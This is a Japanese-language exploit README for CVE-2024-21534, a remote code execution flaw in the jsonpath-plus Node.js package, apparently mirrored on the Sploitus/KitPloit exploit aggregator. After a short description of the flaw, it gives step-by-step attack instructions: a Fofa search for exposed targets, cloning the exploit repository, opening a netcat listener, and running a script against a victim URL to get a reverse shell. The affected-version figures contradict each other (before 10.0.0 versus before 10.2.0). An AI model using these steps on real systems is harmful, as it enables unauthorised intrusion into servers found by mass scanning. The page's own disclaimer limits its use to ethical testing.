Sploitus

Exploit for cve-2024-21534 CVE-2024-21534

kitploit · 2026-08-30

Exploit Code

MARKDOWN68 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-VERYLAZYTECH-CVE-2024-21534
# POC - CVE-2024-21534 Jsonpath-plus は不適切な入力サニタイズによりリモートコード実行(RCE)に対して脆弱です

![My Shop](https://img.shields.io/badge/My%20Shop-verylazytech-%23FFDD00?style=flat&logo=buy-me-a-coffee&logoColor=yellow) ![Medium](https://img.shields.io/badge/Medium-@verylazytech-%231572B6?style=flat&logo=medium&logoColor=white) ![Github](https://img.shields.io/badge/Github-verylazytech-%23181717?style=flat&logo=github&logoColor=white) ![Buy Me A Coffee](https://img.shields.io/badge/Buy%20Me%20A%20Coffee-verylazytech-%23FFDD00?style=flat&logo=buy-me-a-coffee&logoColor=yellow)

# 概要

CVE-2024-21534 は、jsonpath-plus パッケージの 10.0.0 より前のバージョンに見つかった重大な脆弱性です。この脆弱性は不適切な入力サニタイズに起因し、影響を受けるシステム上でリモートコード実行(RCE)を引き起こす可能性があります。この脆弱性は認証なしで悪用される可能性があるため、特に危険です。攻撃者は特別に細工された入力を送信することで、サーバー上で任意のコードを実行できます。この問題は Node.js の vm モジュールの安全でないデフォルト使用に起因しており、悪用された場合、システム全体を危険にさらす可能性があります。

# 影響を受けるバージョン

10.2.0 より前の jsonpath-plus バージョン

# 影響を受けるコンポーネント

この脆弱性は、アプリケーションで JSON データ構造のクエリに広く使用されている jsonpath-plus パッケージに存在します。この欠陥は不適切な入力サニタイズに起因し、悪意のあるコード実行を可能にします。

**詳細はこちら** — CVE-2024-21534

> **免責事項** : この Proof of Concept(POC)は、教育および倫理的なテスト目的のみで作成されています。事前の相互同意なしにターゲットへの攻撃にこのツールを使用することは違法です。適用されるすべての地域、州、連邦の法律に従うことはエンドユーザーの責任です。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害については責任を負いません。

## はじめに

### ターゲットの検索

潜在的なターゲットを見つけるには、Fofa(Shodan.io に類似)を使用します:

  * **Fofa Dork** : `Jsonpath-plus`



![Fofa](https://assets.kitploit.com/production/public/readmes/33986/d0f6a7fb43e8e01c72b7f2f27ddebb6170a7fbfab73d9334bd21f467f58b7d35.png)

### リポジトリのクローン

まず、リポジトリをクローンします:

root@kitploit:~
    
    
    git clone https://github.com/verylazytech/CVE-2024-21534
    

次に、nc を使用してリスナーを開きます:

root@kitploit:~
    
    
    nc -lnvp 443
    

エクスプロイトを実行します:

### Linux / macOS の場合:

URL が、脆弱な jsonpath-plus パッケージを介してユーザー入力を処理するエンドポイントを指していることを確認してください。これにより、RCE 脆弱性の悪用が可能になります。

root@kitploit:~
    
    
    bash ./cve-2024-21534.sh <VICTIM_URL> <ATTACKER_IP> <ATTACKER_PORT>
    

![secoand](https://assets.kitploit.com/production/public/readmes/33986/b1764cfae8155de8c89da797b756327a18e9f1baea8d731e703b1220dd441b8c.png)

### いくつかのディレクトリを一覧表示:

![last](https://assets.kitploit.com/production/public/readmes/33986/702ac0368888bd460311e6fcde2cf99c361c4bdf704d20518959e64540ad37c1.png)